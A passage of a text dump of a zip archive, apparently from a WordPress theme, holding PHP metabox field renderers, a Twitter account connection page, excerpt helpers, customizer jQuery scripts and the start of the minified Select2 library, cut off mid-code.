			if ( isset( $field['options']['textarea_rows'] ) && $field['options']['textarea_rows'] ) {
				$field['options']['textarea_rows'] = '10';
			}

			wp_editor( $content, $field['id'], $field['options'] );

			echo '</div>';

			self::html_field_div_after();
		}

		private static function html_field_checkbox( $field ) {
			self::html_field_div_before( $field['id'], $field['style'] );

			echo '<div class="penci-mb-labeldesc">';
			self::html_field_label( $field );
			echo '</div>';
			echo '<div class="penci-mb-input">';

			$selected = self::get_value_input( $field['id'] );

			printf( '<input %s name="%s" id="%s"  type="checkbox" %s>',
				self::html_attr_input( $field ),
				$field['id'],
				$field['id'],
				checked( $selected, 1, false )
			);
			self::html_field_desc( $field['desc'] );
			echo '</div>';

			self::html_field_div_after();
		}

		private static function html_field_select( $field ) {
			self::html_field_div_before( $field['id'], $field['style'] );

			echo '<div class="penci-mb-labeldesc">';
			self::html_field_label( $field );

			echo '</div>';
			echo '<div class="penci-mb-input">';
			printf( '<select %s name="%s" id="%s">%s',
				self::html_attr_input( $field ),
				$field['id'],
				$field['id'],
				''
			);
			$options  = $field['options'];
			$selected = self::get_value_input( $field['id'] );

			foreach ( (array) $options as $param_name => $param_value ) {
				?>
                <option
                value="<?php echo $param_name; ?>" <?php selected( $selected, $param_name, true ); ?>><?php echo $param_value; ?></option><?php
			}
			echo '</select>';
			self::html_field_desc( $field['desc'] );

			echo '</div>';

			self::html_field_div_after();
		}

		private static function html_field_image_select( $field ) {
			self::html_field_div_before( $field['id'], $field['style'] );

			echo '<div class="penci-mb-labeldesc">';
			self::html_field_label( $field );
			self::html_field_desc( $field['desc'] );
			echo '</div>';
			echo '<div class="penci-mb-input">';

			$value_current = self::get_value_input( $field['id'] );

			if ( ! $value_current && $field['std'] ) {
				$value_current = $field['std'];
			}

			echo '<div class="penci-image-select-wrap">';
			$options = $field['options'];
			$tpl     = '<label class="penci-image-select"><img src="%s"><input type="%s" %s class="penci-image_select" name="%s" value="%s"%s></label>';

			$value_current = (array) $value_current;
			foreach ( (array) $options as $value => $image ) {
				printf(
					$tpl,
					$image,
					'radio',
					self::html_attr_input( $field ),
					$field['id'],
					$value,
					checked( in_array( $value, $value_current ), true, false )
				);
			}
			echo '</div>';
			echo '</div>';

			self::html_field_div_after();
		}

		private static function html_field_color( $field ) {
			self::html_field_div_before( $field['id'], $field['style'] );

			echo '<div class="penci-mb-labeldesc">';
			self::html_field_label( $field );
			echo '</div>';
			echo '<div class="penci-mb-input">';

			printf( '<input class="penci-color-picker rwmb-color" type="text" %s name="%s" id="%s" value="%s">',
				self::html_attr_input( $field ),
				$field['id'],
				$field['id'],
				self::get_value_input( $field['id'] )
			);
			self::html_field_desc( $field['desc'] );
			echo '</div>';

			self::html_field_div_after();

			wp_enqueue_script( 'rwmb', RWMB_JS_URL . 'script.js', array( 'jquery' ), RWMB_VER, true );
			RWMB_Color_Field::admin_enqueue_scripts();
		}

		private static function html_field_image( $field ) {
			self::html_field_div_before( $field['id'], $field['style'] );

			echo '<div class="penci-mb-labeldesc">';
			self::html_field_label( $field );
			self::html_field_desc( $field['desc'] );
			echo '</div>';

			$img_id = self::get_value_input( $field['id'] );
			$url    = wp_get_attachment_thumb_url( $img_id );
			?>
            <div class="penci-mb-input penci-widget-image media-widget-control">
                <input name="<?php echo $field['id']; ?>" type="hidden" class="penci-widget-image__input"
                       value="<?php echo esc_attr( $img_id ); ?>">
                <img src="<?php echo esc_url( $url ); ?>"
                     class="penci-widget-image__image<?php echo $img_id ? '' : ' hidden'; ?>">
                <div class="placeholder <?php echo( $url ? 'hidden' : '' ); ?>"><?php _e( 'No image selected' ); ?></div>
                <button class="button penci-widget-image__select"><?php esc_html_e( 'Select' ); ?></button>
                <button class="button penci-widget-image__remove"><?php esc_html_e( 'Remove' ); ?></button>
            </div>
			<?php
			self::html_field_div_after();
		}

		private static function html_field_custom_html( $field ) {
			echo '<div class="penci-metabox-row">';
			echo $field['std'];
			self::html_field_div_after();
		}

		private static function html_field_srart_accordion( $field ) {
			echo '<div class="penci-accordion-name ' . $field['std'] . '"><h3>' . $field['name'] . '</h3><span class="handle-repeater"></span></div>';
			echo '<div class="penci-panel-accordion">';
		}

		private static function html_field_end_accordion( $field ) {
			echo '</div>';
		}

		private static function html_field_div_before( $field_id, $style ) {
			echo '<div id="' . esc_attr( $field_id ) . '" class="penci-metabox-row ' . esc_attr( $field_id ) . ( $style ? ' ' . $style : $style ) . '">';
		}

		private static function html_field_div_after() {
			echo '</div>';
		}

		private static function html_field_label( $field ) {
			echo '<label for="' . esc_attr( $field['id'] ) . '" class="penci-metabox-label ' . esc_attr( $field['id'] ) . 'label">' . esc_attr( $field['name'] ) . '</label>';
		}

		private static function html_field_desc( $desc ) {
			echo '<span class="penci-metabox-desc">' . $desc . '</span>';
		}

		private static function html_attr_input( $field ) {
			$html  = '';
			$attrs = isset( $field['attrs'] ) ? $field['attrs'] : array();
			foreach ( (array) $attrs as $attr_key => $attr_value ) {
				$html .= ' ' . $attr_key . '="' . $attr_value . '"';
			}

			return $html;
		}


	}
endif;
PK     0w\S   S     twitter/init.phpnu [        <?php
include( trailingslashit( PENCI_SOLEDAD_DIR ). 'inc/twitter/dashpage.php' );
PK     0w\Ie
  
    twitter/dashpage.phpnu [        <?php

class TwitterSettingPages {
	function __construct() {
		if ( ! function_exists( 'sb_twitter_feed_init' ) ) {
			add_action( 'admin_menu', [ $this, 'add_settings_page' ], 90 );
			add_action( 'init', [ $this, 'sb_twitter_feed' ] );
		}
	}

	public function add_settings_page() {
		add_submenu_page( 'soledad_dashboard_welcome', esc_html__( 'Connect Twitter', 'soledad' ), esc_html__( 'Connect Twitter', 'soledad' ), 'manage_options', 'penci_twitter_token', [
			$this,
			'dashboard_content'
		], 3 );
	}

	public function sb_twitter_feed() {
		if ( ! is_admin() || ! current_user_can( 'manage_options' ) ) {
			return;
		}

		if ( ! empty( $_GET['page'] ) && sanitize_text_field( $_GET['page'] ) === 'custom-twitter-feeds' && is_array( $_GET ) ) {

			$nonce = isset( $_REQUEST['nonce'] ) && $_REQUEST['nonce'] ? $_REQUEST['nonce'] : '';
			
			if ( wp_verify_nonce( $nonce, 'custom-twitter-feeds' ) ) {

				update_option( 'penci_options[penci_twitter]', $_GET );

				// Redirect
				$redirect = admin_url( 'admin.php?page=penci_twitter_token' );
				wp_redirect( $redirect );

				exit;
			}
		}
	}

	public function dashboard_content() {
		$nonce = wp_create_nonce( 'custom-twitter-feeds' );
		$twitter_api         = 'https://api.smashballoon.com/twitter-login.php?return_uri=' . admin_url( 'admin.php?page=custom-twitter-feeds&nonce='.$nonce );
		$twitter_token       = get_option( 'penci_options[penci_twitter]' );
		$twitter_label       = __( 'You\'ve not connected to any Twitter Account.', 'soledad' );
		$twitter_description = sprintf( __( 'You can <a class="%1$s" href="%2$s" target="_blank">click here</a> to connect to your Twitter account.', 'soledad' ), 'penci_twitter_access_token twitter', $twitter_api );
		if ( ! empty( $twitter_token ) && isset( $twitter_token['screen_name'] ) ) {
			$twitter_label = sprintf( __( 'Connected to account <strong>%s</strong>', 'soledad' ), $twitter_token['screen_name'] );
		} else if ( isset( $twitter_token['error'] ) && $twitter_token['error'] ) {
			$twitter_label = __( 'Error connect to your Twitter account. Please try to connect later.', 'soledad' );
		}
		?>
        <div class="penci-insta-token-wrapper">
            <div class="pc-ins-tk top-icon">
                <span class="dashicons dashicons-twitter"></span>
            </div>
            <div class="pc-ins-tk top-head">
                <h3><?php echo $twitter_label; ?></h3>
                <p>
					<?php echo $twitter_description; ?>
                </p>
            </div>
        </div>
		<?php
	}
}

new TwitterSettingPages();
PK     0w\($      excerpt.phpnu [        <?php
add_filter( 'penci_the_excerpt', 'wptexturize' );
add_filter( 'penci_the_excerpt', 'convert_smilies' );
add_filter( 'penci_the_excerpt', 'convert_chars' );
add_filter( 'penci_the_excerpt', 'wpautop' );
add_filter( 'penci_the_excerpt', 'shortcode_unautop' );

/**
 * Display the post excerpt.
 */
if ( ! function_exists( 'penci_the_excerpt' ) ):
	function penci_the_excerpt( $length = 25 ) {
		echo apply_filters( 'penci_the_excerpt', penci_get_the_excerpt( null, $length ) );
	}
endif;
/**
 * Retrieves the post excerpt.
 */
if ( ! function_exists( 'penci_get_the_excerpt' ) ):
	function penci_get_the_excerpt( $post = null, $length = 30 ) {
		$post = get_post( $post );
		if ( empty( $post ) ) {
			return '';
		}

		if ( post_password_required( $post ) ) {
			return __( 'There is no excerpt because this is a protected post.' );
		}

		return penci_trim_excerpt( $post->post_excerpt, $length );
	}
endif;

/**
 * Generates an excerpt from the content, if needed.
 *
 * The excerpt word amount will be 30 words and if the amount is greater than
 * that, then the string ' ...' will be appended to the excerpt. If the string
 * is less than 30 words, then the content will be returned as is.
 *
 * @param string $text Optional. The excerpt. If set to empty, an excerpt is generated.
 *
 * @return string The excerpt.
 */
if ( ! function_exists( 'penci_trim_excerpt' ) ):
	function penci_trim_excerpt( $text = '', $length = '' ) {
		$raw_excerpt = $text;

		if ( '' == $text ) {
			$text = get_the_content( '' );

			if ( class_exists( '\PenciDesign\SpeechCaster' ) ) {
				$SpeechCaster = \PenciDesign\SpeechCaster::get_instance();
				remove_filter( 'the_content', [ $SpeechCaster, 'add_player_to_content' ] );
			}

			$text = strip_shortcodes( $text );
			$text = function_exists( 'excerpt_remove_blocks' ) ? excerpt_remove_blocks( $text ) : $text;
			$text = apply_filters( 'the_content', $text );
			$text = str_replace( ']]>', ']]&gt;', $text );

			if ( ! $length || ! is_numeric( $length ) ) {
				$length = 30;
			}
		}

		if ( '' == $text ) {
			return '';
		}

		if ( $length ) {
			if ( get_theme_mod( 'penci_excerptcharac' ) ) {
				$text = strip_tags( $text );
				$text = html_entity_decode( $text );
				$text = mb_substr( $text, 0, $length, "utf-8" ) . '...';
			} else {
				$text = wp_trim_words( $text, $length, ' ...' );
			}
		}

		return $text;
	}
endif;

add_filter( 'strip_shortcodes_tagnames', 'penci_update_strip_shortcodes_tagnames' );
function penci_update_strip_shortcodes_tagnames( $tags ) {
	$tags_to_remove = array(
		'vc_gutenberg',
		'vc_row',
		'vc_row_inner',
		'vc_column',
		'vc_column_inner',
		'vc_column_text',
		'vc_section',
		'vc_icon',
		'vc_separator',
		'vc_zigzag',
		'vc_text_separator',
		'vc_message',
		'vc_hoverbox',
		'vc_facebook',
		'vc_tweetmeme',
		'vc_googleplus',
		'vc_pinterest',
		'vc_toggle',
		'vc_single_image',
		'vc_gallery',
		'vc_images_carousel',
		'vc_tta_tabs',
		'vc_tta_tour',
		'vc_tta_accordion',
		'vc_tta_pageable',
		'vc_tta_section',
		'vc_custom_heading',
		'vc_btn',
		'vc_cta',
		'vc_widget_sidebar',
		'vc_posts_slider',
		'vc_video',
		'vc_gmaps',
		'vc_raw_html',
		'vc_raw_js',
		'vc_flickr',
		'vc_progress_bar',
		'vc_pie',
		'vc_round_chart',
		'vc_line_chart',
		'vc_wp_search',
		'vc_wp_meta',
		'vc_wp_recentcomments',
		'vc_wp_calendar',
		'vc_wp_pages',
		'vc_wp_tagcloud',
		'vc_wp_custommenu',
		'vc_wp_text',
		'vc_wp_posts',
		'vc_wp_links',
		'vc_wp_categories',
		'vc_wp_archives',
		'vc_wp_rss',
		'vc_empty_space',
		'vc_basic_grid',
		'vc_media_grid',
		'vc_masonry_grid',
		'vc_masonry_media_grid',
		'vc_tabs',
		'vc_tour',
		'vc_tab',
		'vc_accordion',
		'vc_accordion_tab',
		'vc_button',
		'vc_button2',
		'vc_cta_button',
		'vc_cta_button2',
		'penci_about_me',
		'penci_column',
		'penci_column_inner',
		'penci_container',
		'penci_container_inner',
		'penci_count_down',
		'penci_counter_up',
		'penci_custom_sliders',
		'penci_facebook_page',
		'penci_fancy_heading',
		'penci_featured_slider',
		'penci_google_map',
		'penci_image_gallery',
		'penci_info_box',
		'penci_instagram',
		'penci_latest_tweets',
		'penci_login_form',
		'penci_mailchimp',
		'penci_open_hours',
		'penci_pintersest',
		'penci_popular_cat',
		'penci_posts_slider',
		'penci_pricing_table',
		'penci_progress_bar',
		'penci_recent_posts',
		'penci_social_counter',
		'penci_social_media',
		'penci_team_member',
		'penci_testimonails',
		'penci_text_block',
		'penci_video_playlist',
		'penci_weather',
	);

	return array_merge( $tags, $tags_to_remove );
}PK     0w\k      customizer/js/customizer.jsnu [        jQuery(document).ready(function ($) {
    "use strict";
    $('.customize-control-dropdown-select2').each(function () {
        $('.customize-control-select2').select2({
            allowClear: true
        });
    });

    $(".customize-control-select2").on("change", function () {
        var select2Val = $(this).val();
        $(this).parent().find('.customize-control-dropdown-select2').val(select2Val).trigger('change');
    });

    $(".pill_checkbox_control .sortable").sortable({
        placeholder: "pill-ui-state-highlight",
        update: function (event, ui) {
            PenciGetAllPillCheckboxes($(this).parent());
        }
    });

    $('.pill_checkbox_control .sortable-pill-checkbox').on('change', function () {
        PenciGetAllPillCheckboxes($(this).parent().parent().parent());
    });

    function PenciGetAllPillCheckboxes($element) {
        var inputValues = $element.find('.sortable-pill-checkbox').map(function () {
            if ($(this).is(':checked')) {
                return $(this).val();
            }
        }).toArray();
        $element.find('.customize-control-sortable-pill-checkbox').val(inputValues).trigger('change');
    }

    $('.customize-control-tinymce-editor').each(function () {
        // Get the toolbar strings that were passed from the PHP Class
        var tinyMCEToolbar1String = _wpCustomizeSettings.controls[$(this).attr('id')].skyrockettinymcetoolbar1;
        var tinyMCEToolbar2String = _wpCustomizeSettings.controls[$(this).attr('id')].skyrockettinymcetoolbar2;
        var tinyMCEMediaButtons = _wpCustomizeSettings.controls[$(this).attr('id')].skyrocketmediabuttons;

        wp.editor.initialize($(this).attr('id'), {
            tinymce: {
                wpautop: true,
                toolbar1: tinyMCEToolbar1String,
                toolbar2: tinyMCEToolbar2String
            },
            quicktags: true,
            mediaButtons: tinyMCEMediaButtons
        });
    });

    $(document).on('keyup', '.box-model-field', function () {
        var $parent = $(this).parents('.box-model-wrapper'),
            $save_field = $parent.find('.box-model-saved'),
            $input_fields = $parent.find('.box-model-field'),
            saved_string = '';

        $input_fields.each(function () {
            var $field = $(this);
            var field_value = $.isNumeric($field.val()) ? parseInt($field.val(), 10) : '-';
            if ($.isNumeric(field_value) || '-' === field_value) {
                saved_string += field_value + ', ';
            }
        });

        $save_field.val(saved_string.replace(/,\s*$/, "")).trigger('change');
    });

    $('[data-type="penci_speed_delete_cache"]').on('click', function (event) {
        var $this = $(this),
            $nonce = $this.data('nonce'),
            $ajaxurl = $this.data('ajaxurl'),
            $parent = $this.closest('.customize-control');
        event.preventDefault();
        $(this).addClass('loading');
        $.ajax({
            type: "post",
            dataType: "json",
            url: $ajaxurl,
            data: {
                action: "penci_speed_delete_cache",
                _nonce: $nonce,
            },
            success: function () {
                $this.removeClass('loading').addClass('success');
                $parent.find('.description span.count').html(0);
            },
            error: function (jqXHR, textStatus, errorThrown) {
                console.log('The following error occured: ' + textStatus, errorThrown);
            }
        });
    });


    jQuery(document).ready(function ($) {
        function addHelpIcons() {
            $(".customize-control").each(function () {
                var control = $(this);
                var title = control.find(".customize-control-title");
                var description = control.find(".customize-control-description");
    
                // Ensure the icon is only added once
                if (title.length && description.length && !title.find(".help-icon").length) {
                    var helpIcon = $("<span class='help-icon'>?</span>");
                    title.append(helpIcon);
    
                    // Hide description initially
                    description.hide().removeClass('active');
    
                    // Toggle description on click
                    helpIcon.on("click", function (e) {
                        e.stopPropagation(); // Prevent click from affecting other elements
                        $(".customize-control-description").not(description).slideUp(200).removeClass('active'); // Close other descriptions
                        description.slideToggle(200).toggleClass('active');
                    });

                    tippy(helpIcon[0], {
                        content: description.text(),
                        placement: 'top',
                        animation: 'fade',
                        interactive: true,
                        maxWidth: 220,
                    });
                }
            });
        }
    
        // Observe changes in the Customizer panel for dynamically added elements
        var observer = new MutationObserver(function (mutations) {
            mutations.forEach(function (mutation) {
                if (mutation.addedNodes.length) {
                    addHelpIcons();
                }
            });
        });
    
        // Target the main customizer container for observation
        var customizerContainer = document.getElementById("customize-controls");
        if (customizerContainer) {
            observer.observe(customizerContainer, {
                childList: true,
                subtree: true,
            });
        }
    
        // Run initially in case elements are already present
        addHelpIcons();
    });

});
PK     0w\г    ,  customizer/js/customizer-search-admin.min.jsnu [        (function(a){var b="";CustomizerSearchAdmin={_init:function _init(){this._bind();var c=a.map(_wpCustomizeSettings.controls,function(b){return a.map(_wpCustomizeSettings.sections,function(c){b.section==c.id&&a.map(_wpCustomizeSettings.panels,function(a){""==c.panel&&(b.panelName=c.title),c.panel==a.id&&(b.sectionName=c.title,b.panel=c.panel,b.panelName=a.title)})}),[b]});b=document.getElementById("customize-theme-controls"),customizePanelsParent=a("#customize-theme-controls"),customizePanelsParent.after("<div id=\"search-results\"></div>"),a(document).on("keyup","#customizer-search-input",function(b){b.preventDefault(),$this=a("#customizer-search-input"),string=$this.val(),0<string.length?CustomizerSearchAdmin.displayMatches(string,c):CustomizerSearchAdmin._clearSearch()}),a(document).on("click",".clear-search",function(){CustomizerSearchAdmin._clearSearch()}),a(document).on("click",".customize-search-toggle",function(){CustomizerSearchAdmin._display_search_form()})},expandSection:function expandSection(){var a=this.getAttribute("data-section"),b=wp.customize.section(a);CustomizerSearchAdmin._clearSearch(),b.expand()},displayMatches:function displayMatches(a,c){var d=CustomizerSearchAdmin.findMatches(a,c);if(0!==d.length){html=d.map(function(b){if(""!==b.label){var c=b.panelName;""!=b.sectionName&&(c="".concat(c," \u25B8 ").concat(b.sectionName));var d=new RegExp(a,"gi"),e=b.label.replace(d,"<span class=\"hl\">".concat(a,"</span>"));return c=c.replace(d,"<span class=\"hl\">".concat(a,"</span>")),"\n                    <li id=\"accordion-section-".concat(b.section,"\" class=\"accordion-section control-section control-section-default customizer-search-results\" aria-owns=\"sub-accordion-section-").concat(b.section,"\" data-section=\"").concat(b.section,"\">\n                        <h3 class=\"accordion-section-title\" tabindex=\"0\">\n                            ").concat(e,"\n                            <span class=\"screen-reader-text\">Press return or enter to open this section</span>\n                        </h3>\n                        <span class=\"search-setting-path\">").concat(c,"</i></span>\n                    </li>\n                ")}}).join(""),b.classList.add("search-not-found"),document.getElementById("search-results").innerHTML="<ul id=\"customizer-search-results\">".concat(html,"</ul>");var e=document.querySelectorAll("#search-results .accordion-section");e.forEach(function(a){return a.addEventListener("click",CustomizerSearchAdmin.expandSection)})}},findMatches:function findMatches(a,b){return b.filter(function(b){null==b.panelName&&(b.panelName=""),null==b.sectionName&&(b.sectionName="");var c=new RegExp(a,"gi");return b.label.match(c)||b.panelName.match(c)||b.sectionName.match(c)})},_bind:function _bind(){wp.customize.previewer.targetWindow.bind(a.proxy(this._showSearchButtonToggle,this))},_showSearchButtonToggle:function _showSearchButtonToggle(){var b=wp.template("search-button");0==a("#customize-info .accordion-section-title .customize-search-toggle").length&&a("#customize-info .accordion-section-title").append(b());var b=wp.template("search-form");0==a("#customize-info #accordion-section-customizer-search").length&&a("#customize-info .customize-panel-description").after(b())},_display_search_form:function _display_search_form(){a("#accordion-section-customizer-search").hasClass("open")?(a("#accordion-section-customizer-search").removeClass("open"),a("#accordion-section-customizer-search").slideUp("fast")):(a(".customize-panel-description").removeClass("open"),a(".customize-panel-description").slideUp("fast"),a("#accordion-section-customizer-search").addClass("open"),a("#accordion-section-customizer-search").slideDown("fast")),a("#customizer-search-input").focus()},_clearSearch:function _clearSearch(){var b=document.getElementById("customize-theme-controls");b.classList.remove("search-not-found"),document.getElementById("search-results").innerHTML="",document.getElementById("customizer-search-input").value="",a("#customizer-search-input").focus()}},a(function(){CustomizerSearchAdmin._init()})})(jQuery);
PK     0w\3R    !  customizer/js/range-customizer.jsnu [        wp.customize.controlConstructor['pencidesign-custom-range-slider'] = wp.customize.Control.extend({
	ready: function() {
		'use strict';
		var control = this,
		    value,
		    thisInput,
		    inputDefault,
		    changeAction,
			controlClass = '.customize-control-pencidesign-custom-range-slider',
			footerControl = jQuery( '#customize-footer-actions' );
		
		// Calling range slider
		jQuery( '.pencidesign-range-slider' ).each( function() {
			var _this = jQuery( this );
			var _input = _this.closest( 'label' ).find( 'input[type="number"]' );
			var _text = _input.next( '.value' );
		});
		
		// Update the range value
		jQuery( controlClass + ' .penci_range_value input[type=number]' ).on( 'input', function() {
			value = jQuery( this ).attr( 'value' );
			if ( '' == value ) {
				value = -1;
			}
		});

		// Reset button
		jQuery( controlClass + ' .pencidesign-reset' ).on( 'click', function() {
			var icon = jQuery( this ),
				visible_area = icon.closest( '.penci-range-title-area' ).next( '.penci-range-slider-areas' ).children( 'label:visible' ),
				input = visible_area.find( 'input[type=number]' ),
				slider_value = visible_area.find( '.pencidesign-range-slider' ),
				visual_value = visible_area.find( '.penci_range_value' ),
				reset_value = input.attr( 'data-reset_value' );
			
			input.val( reset_value ).change();
			visual_value.find( 'input' ).val( reset_value );
			visual_value.find( '.value' ).text( reset_value );
			
			if ( '' == reset_value ) {
				reset_value = -1;
			}
		});
		
		// Activate icon when click
		jQuery( controlClass + ' .pencidesign-range-slider-control' ).each( function() {
			var _this = jQuery( this );
			_this.find( '.penci-device-controls' ).children( 'span:first-child' ).addClass( 'selected' );
			_this.find( '.range-option-area:first-child' ).show();
		});
		
		// Click on icons
		jQuery( controlClass + ' .penci-device-controls > span' ).on( 'click', function( event ) {
			var device = jQuery( this ).data( 'option' );
			
			jQuery( controlClass + ' .penci-device-controls span' ).each( function() {
				var _this = jQuery( this );
				if ( device == _this.attr( 'data-option' ) ) {
					_this.addClass( 'selected' );
					_this.siblings().removeClass( 'selected' );
				}
			});
			
			jQuery( controlClass + ' .penci-range-slider-areas label' ).each( function() {
				var _this = jQuery( this );
				if ( device == _this.attr( 'data-option' ) ) {
					_this.show();
					_this.siblings().hide();
				}
			});
			
			// Set the device currently viewing
			wp.customize.previewedDevice.set( jQuery( event.currentTarget ).data( 'option' ) );
		} );
		
		// Change devices on footer
		footerControl.find( '.devices button' ).on( 'click', function() {
			var device = jQuery( this ).data( 'device' );
			jQuery( controlClass + ' .penci-device-controls span' ).each( function() {
				var _this = jQuery( this );
				if ( device == _this.attr( 'data-option' ) ) {
					_this.addClass( 'selected' );
					_this.siblings().removeClass( 'selected' );
				}
			});
			
			jQuery( controlClass + ' .penci-range-slider-areas label' ).each( function() {
				var _this = jQuery( this );
				if ( device == _this.attr( 'data-option' ) ) {
					_this.show();
					_this.siblings().hide();
				}
			});
		});
		
		// Apply for desktop
		control.container.on( 'input change', '.desktop-range',
			function() {
				control.settings['desktop'].set( jQuery( this ).val() );
			}
		);
		
		// Apply for mobile
		control.container.on( 'input change', '.mobile-range',
			function() {
				control.settings['mobile'].set( jQuery( this ).val() );
			}
		);
	}

});PK     0w\؝dS  S    customizer/js/multi-select.jsnu [        jQuery(document).ready(function () {

    /* === Checkbox Multiple Control === */

    jQuery('.customize-control-checkbox-multiple input[type="checkbox"]').on('change', function () {

            checkbox_values = jQuery(this).parents('.customize-control').find('input[type="checkbox"]:checked').map(
                function () {
                    return this.value;
                }
            ).get().join(',');

            jQuery(this).parents('.customize-control').find('input[type="hidden"]').val(checkbox_values).trigger('change');
        }
    );

}); // jQuery( document ).ready
PK     0w\i^l5 l5 !  customizer/js/select2.full.min.jsnu [        /*! Select2 4.0.13 | https://github.com/select2/select2/blob/master/LICENSE.md */
!function(n){"function"==typeof define&&define.amd?define(["jquery"],n):"object"==typeof module&&module.exports?module.exports=function(e,t){return void 0===t&&(t="undefined"!=typeof window?require("jquery"):require("jquery")(e)),n(t),t}:n(jQuery)}(function(d){var e=function(){if(d&&d.fn&&d.fn.select2&&d.fn.select2.amd)var e=d.fn.select2.amd;var t,n,i,h,o,s,f,g,m,v,y,_,r,a,w,l;function b(e,t){return r.call(e,t)}function c(e,t){var n,i,r,o,s,a,l,c,u,d,p,h=t&&t.split("/"),f=y.map,g=f&&f["*"]||{};if(e){for(s=(e=e.split("/")).length-1,y.nodeIdCompat&&w.test(e[s])&&(e[s]=e[s].replace(w,"")),"."===e[0].charAt(0)&&h&&(e=h.slice(0,h.length-1).concat(e)),u=0;u<e.length;u++)if("."===(p=e[u]))e.splice(u,1),u-=1;else if(".."===p){if(0===u||1===u&&".."===e[2]||".."===e[u-1])continue;0<u&&(e.splice(u-1,2),u-=2)}e=e.join("/")}if((h||g)&&f){for(u=(n=e.split("/")).length;0<u;u-=1){if(i=n.slice(0,u).join("/"),h)for(d=h.length;0<d;d-=1)if(r=(r=f[h.slice(0,d).join("/")])&&r[i]){o=r,a=u;break}if(o)break;!l&&g&&g[i]&&(l=g[i],c=u)}!o&&l&&(o=l,a=c),o&&(n.splice(0,a,o),e=n.join("/"))}return e}function A(t,n){return function(){var e=a.call(arguments,0);return"string"!=typeof e[0]&&1===e.length&&e.push(null),s.apply(h,e.concat([t,n]))}}function x(t){return function(e){m[t]=e}}function D(e){if(b(v,e)){var t=v[e];delete v[e],_[e]=!0,o.apply(h,t)}if(!b(m,e)&&!b(_,e))throw new Error("No "+e);return m[e]}function u(e){var t,n=e?e.indexOf("!"):-1;return-1<n&&(t=e.substring(0,n),e=e.substring(n+1,e.length)),[t,e]}function S(e){return e?u(e):[]}return e&&e.requirejs||(e?n=e:e={},m={},v={},y={},_={},r=Object.prototype.hasOwnProperty,a=[].slice,w=/\.js$/,f=function(e,t){var n,i=u(e),r=i[0],o=t[1];return e=i[1],r&&(n=D(r=c(r,o))),r?e=n&&n.normalize?n.normalize(e,function(t){return function(e){return c(e,t)}}(o)):c(e,o):(r=(i=u(e=c(e,o)))[0],e=i[1],r&&(n=D(r))),{f:r?r+"!"+e:e,n:e,pr:r,p:n}},g={require:function(e){return A(e)},exports:function(e){var t=m[e];return void 0!==t?t:m[e]={}},module:function(e){return{id:e,uri:"",exports:m[e],config:function(e){return function(){return y&&y.config&&y.config[e]||{}}}(e)}}},o=function(e,t,n,i){var r,o,s,a,l,c,u,d=[],p=typeof n;if(c=S(i=i||e),"undefined"==p||"function"==p){for(t=!t.length&&n.length?["require","exports","module"]:t,l=0;l<t.length;l+=1)if("require"===(o=(a=f(t[l],c)).f))d[l]=g.require(e);else if("exports"===o)d[l]=g.exports(e),u=!0;else if("module"===o)r=d[l]=g.module(e);else if(b(m,o)||b(v,o)||b(_,o))d[l]=D(o);else{if(!a.p)throw new Error(e+" missing "+o);a.p.load(a.n,A(i,!0),x(o),{}),d[l]=m[o]}s=n?n.apply(m[e],d):void 0,e&&(r&&r.exports!==h&&r.exports!==m[e]?m[e]=r.exports:s===h&&u||(m[e]=s))}else e&&(m[e]=n)},t=n=s=function(e,t,n,i,r){if("string"==typeof e)return g[e]?g[e](t):D(f(e,S(t)).f);if(!e.splice){if((y=e).deps&&s(y.deps,y.callback),!t)return;t.splice?(e=t,t=n,n=null):e=h}return t=t||function(){},"function"==typeof n&&(n=i,i=r),i?o(h,e,t,n):setTimeout(function(){o(h,e,t,n)},4),s},s.config=function(e){return s(e)},t._defined=m,(i=function(e,t,n){if("string"!=typeof e)throw new Error("See almond README: incorrect module build, no module name");t.splice||(n=t,t=[]),b(m,e)||b(v,e)||(v[e]=[e,t,n])}).amd={jQuery:!0},e.requirejs=t,e.require=n,e.define=i),e.define("almond",function(){}),e.define("jquery",[],function(){var e=d||$;return null==e&&console&&console.error&&console.error("Select2: An instance of jQuery or a jQuery-compatible library was not found. Make sure that you are including jQuery before Select2 on your web page."),e}),e.define("select2/utils",["jquery"],function(o){var r={};function u(e){var t=e.prototype,n=[];for(var i in t){"function"==typeof t[i]&&"constructor"!==i&&n.push(i)}return n}r.Extend=function(e,t){var n={}.hasOwnProperty;function i(){this.constructor=e}for(var r in t)n.call(t,r)&&(e[r]=t[r]);return i.prototype=t.prototype,e.prototype=new i,e.__super__=t.prototype,e},r.Decorate=function(i,r){var e=u(r),t=u(i);function o(){var e=Array.prototype.unshift,t=r.prototype.constructor.length,n=i.prototype.constructor;0<t&&(e.call(arguments,i.prototype.constructor),n=r.prototype.constructor),n.apply(this,arguments)}r.displayName=i.displayName,o.prototype=new function(){this.constructor=o};for(var n=0;n<t.length;n++){var s=t[n];o.prototype[s]=i.prototype[s]}function a(e){var t=function(){};e in o.prototype&&(t=o.prototype[e]);var n=r.prototype[e];return function(){return Array.prototype.unshift.call(arguments,t),n.apply(this,arguments)}}for(var l=0;l<e.length;l++){var c=e[l];o.prototype[c]=a(c)}return o};function e(){this.listeners={}}e.prototype.on=function(e,t){this.listeners=this.listeners||{},e in this.listeners?this.listeners[e].push(t):this.listeners[e]=[t]},e.prototype.trigger=function(e){var t=Array.prototype.slice,n=t.call(arguments,1);this.listeners=this.listeners||{},null==n&&(n=[]),0===n.length&&n.push({}),(n[0]._type=e)in this.listeners&&this.invoke(this.listeners[e],t.call(arguments,1)),"*"in this.listeners&&this.invoke(this.listeners["*"],arguments)},e.prototype.invoke=function(e,t){for(var n=0,i=e.length;n<i;n++)e[n].apply(this,t)},r.Observable=e,r.generateChars=function(e){for(var t="",n=0;n<e;n++){t+=Math.floor(36*Math.random()).toString(36)}return t},r.bind=function(e,t){return function(){e.apply(t,arguments)}},r._convertData=function(e){for(var t in e){var n=t.split("-"),i=e;if(1!==n.length){for(var r=0;r<n.length;r++){var o=n[r];(o=o.substring(0,1).toLowerCase()+o.substring(1))in i||(i[o]={}),r==n.length-1&&(i[o]=e[t]),i=i[o]}delete e[t]}}return e},r.hasScroll=function(e,t){var n=o(t),i=t.style.overflowX,r=t.style.overflowY;return(i!==r||"hidden"!==r&&"visible"!==r)&&("scroll"===i||"scroll"===r||(n.innerHeight()<t.scrollHeight||n.innerWidth()<t.scrollWidth))},r.escapeMarkup=function(e){var t={"\\":"&#92;","&":"&amp;","<":"&lt;",">":"&gt;",'"':"&quot;","'":"&#39;","/":"&#47;"};return"string"!=typeof e?e:String(e).replace(/[&<>"'\/\\]/g,function(e){return 